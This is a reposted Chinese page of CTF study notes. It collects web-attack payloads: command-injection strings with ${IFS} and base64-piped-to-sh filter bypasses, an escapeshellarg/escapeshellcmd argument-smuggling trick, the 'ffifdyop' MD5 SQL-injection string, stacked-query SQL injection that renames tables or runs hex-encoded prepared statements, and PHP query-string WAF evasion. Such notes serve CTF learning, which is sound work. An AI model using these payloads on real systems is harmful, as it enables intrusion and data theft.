CTF知識點總結(三)


命令執行

https://www.cnblogs.com/wangtanzhi/p/12246386.html

空格繞過方式:

$IFS
${IFS}
$IFS$數字 
< 
<> 

三種繞過方式:

1.sh

/?ip=127.0.0.1;echo$IFS$2Y2F0IGZsYWcucGhw|base64$IFS$2-d|sh

2.變量拼接

/?ip=127.0.0.1;a=g;cat$IFS$2fla$a.php

3.內聯注釋(將反引號命令的結果作為輸入來執行命令)

/?ip=127.0.0.1;cat$IFS$2`ls`

md5()漏洞

​ ffifdyop,這個點的原理是 ffifdyop 這個字符串被 md5 哈希了之后會變成 276f722736c95d99e921722cf9ed621c,這個字符串前幾位剛好是 ‘ or ‘6,

escapeshellarg()與escapeshellcmd()漏洞

<?php
$a="172.17.0.2' -v -d a=1";
$b=escapeshellarg($a);
$c=escapeshellcmd($b);
echo $a."<br/>".$b."<br/>".$c;
system($c);
?>

輸出

172.17.0.2' -v -d a=1
'172.17.0.2''' -v -d a=1'
'172.17.0.2''' -v -d a=1'

1.$a傳入的參數是172.17.0.2' -v -d a=1

2.經過escapeshellargs()處理后成為'172.17.0.2'' -v -d a=1' 即先對單引號轉義,再用單引號將左右兩部分括起來從而起到連接的作用。

3.經過escapeshellcmd()處理后成為'172.17.0.2''' -v -d a=1' 這是因為escapeshellcmd對以及最后那個不配對兒的引號進行了轉義

4.最后執行的是 '172.17.0.2''' -v -d a=1',由於中間的被解釋為而不再是轉義字符,所以后面的'沒有被轉義,與再后面的'配對兒成了一個空白連接符。

所以可以簡化為 172.17.0.2 -v -d a=1',即向172.17.0.2發起請求,POST 數據為a=1'。

這樣就能繞過過濾進行注入。

sql注入繞過關鍵字

獲取信息

show databases;
show tables;
show columns from `table_name`;

修改表名

1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);#

預編譯

1';
SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
prepare execsql from @a;
execute execsql;#

另外,新知識,HANDLER ... OPEN語句打開一個表,使其可以使用后續HANDLER ... READ語句訪問,該表對象未被其他會話共享,並且在會話調用HANDLER ... CLOSE或會話終止之前不會關閉

1';
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;#

preg_replace/e的命令執行漏洞

MYSQL特殊模式(set sql_mode=pipes_as_concat

​ 此模式下,輸出字符串可以進行拼接

img

PHP字符串解析特性(Easy Calc)

​ PHP將查詢字符串(在URL或正文中)轉換為內部$_GET或的關聯數組$_POST。例如:/?foo=bar變成Array([foo] => “bar”)。值得注意的是,查詢字符串在解析的過程中會將某些字符刪除或用下划線代替。例如,/?%20news[id%00=42會轉換為Array([news_id] => 42)。

​ 假如waf不允許num變量傳遞字母:

http://www.xxx.com/index.php?num = aaaa   //顯示非法輸入的話

那么我們可以在num前加個空格:

http://www.xxx.com/index.php? num = aaaa

這樣waf就找不到num這個變量了,因為現在的變量叫“ num”,而不是“num”。但php在解析的時候,會先把空格給去掉,這樣我們的代碼還能正常運行,還上傳了非法字符。

另外scandir()可列出目錄和文件,scandir(/)掃描目錄下所有文件,如果 / 被過濾,可以用char(47)繞過


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM